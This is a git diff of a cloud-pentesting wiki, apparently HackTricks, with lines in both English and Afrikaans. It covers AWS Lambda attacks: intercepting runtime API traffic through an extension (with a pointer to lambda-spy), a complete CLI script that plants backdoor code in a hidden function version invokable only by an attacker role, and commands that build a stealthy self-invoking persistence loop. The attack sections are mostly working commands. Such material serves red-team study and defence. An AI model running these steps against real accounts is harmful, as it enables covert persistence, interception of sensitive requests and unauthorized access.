<figure><img src="../../../../images/image (254).png" alt=""><figcaption><p><a href="https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png">https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png</a></p></figcaption></figure>
|
||||
|
||||
The variable **`AWS_LAMBDA_RUNTIME_API`** indicates the **IP** address and **port** number of the Rapid API to **child runtime processes** and additional extensions.
|
||||
Die veranderlike **`AWS_LAMBDA_RUNTIME_API`** dui die **IP** adres en **poort** nommer van die Rapid API aan **kind runtime prosesse** en addisionele uitbreidings.
|
||||
|
||||
> [!WARNING]
|
||||
> By changing the **`AWS_LAMBDA_RUNTIME_API`** environment variable to a **`port`** we have access to, it's possible to intercept all actions within the Lambda runtime (**man-in-the-middle**). This is possible because the extension runs with the same privileges as Rapid Init, and the system's kernel allows for **modification of process memory**, enabling the alteration of the port number.
|
||||
> Deur die **`AWS_LAMBDA_RUNTIME_API`** omgewing veranderlike na 'n **`poort`** wat ons toegang tot het, is dit moontlik om alle aksies binne die Lambda-runtime te onderskep (**man-in-the-middle**). Dit is moontlik omdat die uitbreiding met dieselfde voorregte as Rapid Init loop, en die stelselkern toelaat **modifikasie van prosesgeheue**, wat die verandering van die poortnommer moontlik maak.
|
||||
|
||||
Because **extensions run before any runtime code**, modifying the environment variable will influence the runtime process (e.g., Python, Java, Node, Ruby) as it starts. Furthermore, **extensions loaded after** ours, which rely on this variable, will also route through our extension. This setup could enable malware to entirely bypass security measures or logging extensions directly within the runtime environment.
|
||||
Omdat **uitbreidings voor enige runtime-kode loop**, sal die aanpassing van die omgewing veranderlike die runtime-proses (bv. Python, Java, Node, Ruby) beïnvloed soos dit begin. Verder, **uitbreidings wat na** ons gelaai word, wat op hierdie veranderlike staatmaak, sal ook deur ons uitbreiding lei. Hierdie opstelling kan malware in staat stel om sekuriteitsmaatreëls of registrasie-uitbreidings heeltemal te omseil direk binne die runtime-omgewing.
|
||||
|
||||
<figure><img src="../../../../images/image (267).png" alt=""><figcaption><p><a href="https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png">https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png</a></p></figcaption></figure>
|
||||
|
||||
The tool [**lambda-spy**](https://github.com/clearvector/lambda-spy) was created to perform that **memory write** and **steal sensitive information** from lambda requests, other **extensions** **requests** and even **modify them**.
|
||||
Die hulpmiddel [**lambda-spy**](https://github.com/clearvector/lambda-spy) is geskep om daardie **geheue skrywe** en **sensitiewe inligting** van lambda versoeke te steel, ander **uitbreidings** **versoeke** en selfs **te modifiseer**.
|
||||
|
||||
## References
|
||||
## Verwysings
|
||||
|
||||
- [https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/](https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/)
|
||||
- [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,88 @@
|
||||
# AWS - Lambda Alias-Scoped Resource Policy Backdoor (Invoke specific hidden version)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Opsomming
|
||||
|
||||
Skep 'n versteekte Lambda-weergawe met aanvallerslogika en scope 'n resource-gebaseerde beleid na daardie spesifieke weergawe (of alias) deur die `--qualifier` parameter in `lambda add-permission` te gebruik. Ken slegs `lambda:InvokeFunction` toe op `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` aan 'n aanvaller-prinsipaal. Normale aanroepe via die funksienaam of primêre alias bly onaangeraak, terwyl die aanvaller die backdoored weergawe-ARN direk kan aanroep.
|
||||
|
||||
Dit is meer stealthy as om 'n Function URL bloot te stel en verander nie die primêre verkeer-alias nie.
|
||||
|
||||
## Vereiste Permissies (aanvaller)
|
||||
|
||||
- `lambda:UpdateFunctionCode`, `lambda:UpdateFunctionConfiguration`, `lambda:PublishVersion`, `lambda:GetFunctionConfiguration`
|
||||
- `lambda:AddPermission` (om 'n version-geskoorde resource-beleid by te voeg)
|
||||
- `iam:CreateRole`, `iam:PutRolePolicy`, `iam:GetRole`, `sts:AssumeRole` (om 'n aanvaller-prinsipaal te simuleer)
|
||||
|
||||
## Aanvalstappe (CLI)
|
||||
|
||||
<details>
|
||||
<summary>Publiseer versteekte weergawe, voeg qualifier-geskoorde permissie by, roep aan as aanvaller</summary>
|
||||
```bash
|
||||
# Vars
|
||||
REGION=us-east-1
|
||||
TARGET_FN=<target-lambda-name>
|
||||
|
||||
# [Optional] If you want normal traffic unaffected, ensure a customer alias (e.g., "main") stays on a clean version
|
||||
# aws lambda create-alias --function-name "$TARGET_FN" --name main --function-version <clean-version> --region "$REGION"
|
||||
|
||||
# 1) Build a small backdoor handler and publish as a new version
|
||||
cat > bdoor.py <<PY
|
||||
import json, os, boto3
|
||||
|
||||
def lambda_handler(e, c):
|
||||
ident = boto3.client(sts).get_caller_identity()
|
||||
return {"ht": True, "who": ident, "env": {"fn": os.getenv(AWS_LAMBDA_FUNCTION_NAME)}}
|
||||
PY
|
||||
zip bdoor.zip bdoor.py
|
||||
aws lambda update-function-code --function-name "$TARGET_FN" --zip-file fileb://bdoor.zip --region $REGION
|
||||
aws lambda update-function-configuration --function-name "$TARGET_FN" --handler bdoor.lambda_handler --region $REGION
|
||||
until [ "$(aws lambda get-function-configuration --function-name "$TARGET_FN" --region $REGION --query LastUpdateStatus --output text)" = "Successful" ]; do sleep 2; done
|
||||
VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
|
||||
VER_ARN=$(aws lambda get-function --function-name "$TARGET_FN:$VER" --region $REGION --query Configuration.FunctionArn --output text)
|
||||
echo "Published version: $VER ($VER_ARN)"
|
||||
|
||||
# 2) Create an attacker principal and allow only version invocation (same-account simulation)
|
||||
ATTACK_ROLE_NAME=ht-version-invoker
|
||||
aws iam create-role --role-name $ATTACK_ROLE_NAME --assume-role-policy-document Version:2012-10-17 >/dev/null
|
||||
cat > /tmp/invoke-policy.json <<POL
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [{
|
||||
"Effect": "Allow",
|
||||
"Action": ["lambda:InvokeFunction"],
|
||||
"Resource": ["$VER_ARN"]
|
||||
}]
|
||||
}
|
||||
POL
|
||||
aws iam put-role-policy --role-name $ATTACK_ROLE_NAME --policy-name ht-invoke-version --policy-document file:///tmp/invoke-policy.json
|
||||
|
||||
# Add resource-based policy scoped to the version (Qualifier)
|
||||
aws lambda add-permission \
|
||||
--function-name "$TARGET_FN" \
|
||||
--qualifier "$VER" \
|
||||
--statement-id ht-version-backdoor \
|
||||
--action lambda:InvokeFunction \
|
||||
--principal arn:aws:iam::$(aws sts get-caller-identity --query Account --output text):role/$ATTACK_ROLE_NAME \
|
||||
--region $REGION
|
||||
|
||||
# 3) Assume the attacker role and invoke only the qualified version
|
||||
ATTACK_ROLE_ARN=arn:aws:iam::$(aws sts get-caller-identity --query Account --output text):role/$ATTACK_ROLE_NAME
|
||||
CREDS=$(aws sts assume-role --role-arn "$ATTACK_ROLE_ARN" --role-session-name htInvoke --query Credentials --output json)
|
||||
export AWS_ACCESS_KEY_ID=$(echo $CREDS | jq -r .AccessKeyId)
|
||||
export AWS_SECRET_ACCESS_KEY=$(echo $CREDS | jq -r .SecretAccessKey)
|
||||
export AWS_SESSION_TOKEN=$(echo $CREDS | jq -r .SessionToken)
|
||||
aws lambda invoke --function-name "$VER_ARN" /tmp/ver-out.json --region $REGION >/dev/null
|
||||
cat /tmp/ver-out.json
|
||||
|
||||
# 4) Clean up backdoor (remove only the version-scoped statement). Optionally remove the role
|
||||
aws lambda remove-permission --function-name "$TARGET_FN" --statement-id ht-version-backdoor --qualifier "$VER" --region $REGION || true
|
||||
```
|
||||
</details>
|
||||
|
||||
## Impak
|
||||
|
||||
- Verleen 'n stil agterdeur om 'n verborge weergawe van die funksie aan te roep sonder om die primêre alias te wysig of 'n Function URL bloot te stel.
|
||||
- Beperk blootstelling tot slegs die gespesifiseerde weergawe/alias via die hulpbron-gebaseerde beleid `Qualifier`, wat die opsporingsoppervlak verminder terwyl dit betroubare aanroeping vir die aanvaller-prinsipaal behou.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,95 @@
|
||||
# AWS - Lambda Async Self-Loop Persistence via Destinations + Recursion Allow
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Misbruik Lambda asynchronous destinations saam met die Recursion-konfigurasie om 'n funksie aanhoudend self weer aan te roep sonder 'n eksterne skeduleerder (geen EventBridge, cron, ens. nie). Standaard beëindig Lambda rekursiewe lusse, maar deur die recursion config op Allow te stel word dit weer geaktiveer. Destinations lewer aan die dienskant vir async invokes, so 'n enkele seed invoke skep 'n stealthy, code-free heartbeat/backdoor channel. Opsioneel: throttle met reserved concurrency om geraas laag te hou.
|
||||
|
||||
Notas
|
||||
- Lambda laat nie toe om die funksie direk as sy eie destination te konfigureer nie. Gebruik 'n function alias as die destination en staan die execution role toe om daardie alias te invoke.
|
||||
- Minimum permissions: vermoë om die teikenfunksie se event invoke config en recursion config te lees/op te dateer, 'n version te publish en 'n alias te manage, en die function se execution role policy op te dateer om lambda:InvokeFunction op die alias toe te laat.
|
||||
|
||||
## Vereistes
|
||||
- Region: us-east-1
|
||||
- Veranderlikes:
|
||||
- REGION=us-east-1
|
||||
- TARGET_FN=<target-lambda-name>
|
||||
|
||||
## Stappe
|
||||
|
||||
1) Kry funksie-ARN en die huidige recursion instelling
|
||||
```
|
||||
FN_ARN=$(aws lambda get-function --function-name "$TARGET_FN" --region $REGION --query Configuration.FunctionArn --output text)
|
||||
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION || true
|
||||
```
|
||||
2) Publiseer 'n weergawe en skep/opdateer 'n alias (gebruik as self-bestemming)
|
||||
```
|
||||
VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
|
||||
if ! aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION >/dev/null 2>&1; then
|
||||
aws lambda create-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
|
||||
else
|
||||
aws lambda update-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
|
||||
fi
|
||||
ALIAS_ARN=$(aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION --query AliasArn --output text)
|
||||
```
|
||||
3) Laat die funksie-uitvoeringsrol toe om die alias aan te roep (vereis deur Lambda Destinations→Lambda)
|
||||
```
|
||||
# Set this to the execution role name used by the target function
|
||||
ROLE_NAME=<lambda-execution-role-name>
|
||||
cat > /tmp/invoke-self-policy.json <<EOF
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Action": "lambda:InvokeFunction",
|
||||
"Resource": "${ALIAS_ARN}"
|
||||
}
|
||||
]
|
||||
}
|
||||
EOF
|
||||
aws iam put-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --policy-document file:///tmp/invoke-self-policy.json --region $REGION
|
||||
```
|
||||
4) Stel die async-bestemming na die alias (self via alias) in en skakel retries af
|
||||
```
|
||||
aws lambda put-function-event-invoke-config \
|
||||
--function-name "$TARGET_FN" \
|
||||
--destination-config OnSuccess={Destination=$ALIAS_ARN} \
|
||||
--maximum-retry-attempts 0 \
|
||||
--region $REGION
|
||||
|
||||
# Verify
|
||||
aws lambda get-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION --query DestinationConfig
|
||||
```
|
||||
5) Laat rekursiewe lusse toe
|
||||
```
|
||||
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Allow --region $REGION
|
||||
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION
|
||||
```
|
||||
6) Inisieer 'n enkele asinkrone invoke
|
||||
```
|
||||
aws lambda invoke --function-name "$TARGET_FN" --invocation-type Event /tmp/seed.json --region $REGION >/dev/null
|
||||
```
|
||||
7) Let op deurlopende aanroepe (voorbeelde)
|
||||
```
|
||||
# Recent logs (if the function logs each run)
|
||||
aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 20 --region $REGION --query events[].timestamp --output text
|
||||
# or check CloudWatch Metrics for Invocations increasing
|
||||
```
|
||||
8) Opsionele onopvallende beperking
|
||||
```
|
||||
aws lambda put-function-concurrency --function-name "$TARGET_FN" --reserved-concurrent-executions 1 --region $REGION
|
||||
```
|
||||
## Opruiming
|
||||
Breek die lus en verwyder persistence.
|
||||
```
|
||||
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Terminate --region $REGION
|
||||
aws lambda delete-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION || true
|
||||
aws lambda delete-function-concurrency --function-name "$TARGET_FN" --region $REGION || true
|
||||
# Optional: delete alias and remove the inline policy when finished
|
||||
aws lambda delete-alias --function-name "$TARGET_FN" --name loop --region $REGION || true
|
||||
ROLE_NAME=<lambda-execution-role-name>
|
||||
aws iam delete-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --region $REGION || true
|
||||
```
|
||||
## Impak
|
||||
- Enkele async invoke veroorsaak dat Lambda homself voortdurend her-invoke sonder 'n eksterne skeduleerder, wat stealthy persistence/heartbeat moontlik maak. Reserved concurrency kan die geraas beperk tot 'n enkele warm execution.
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user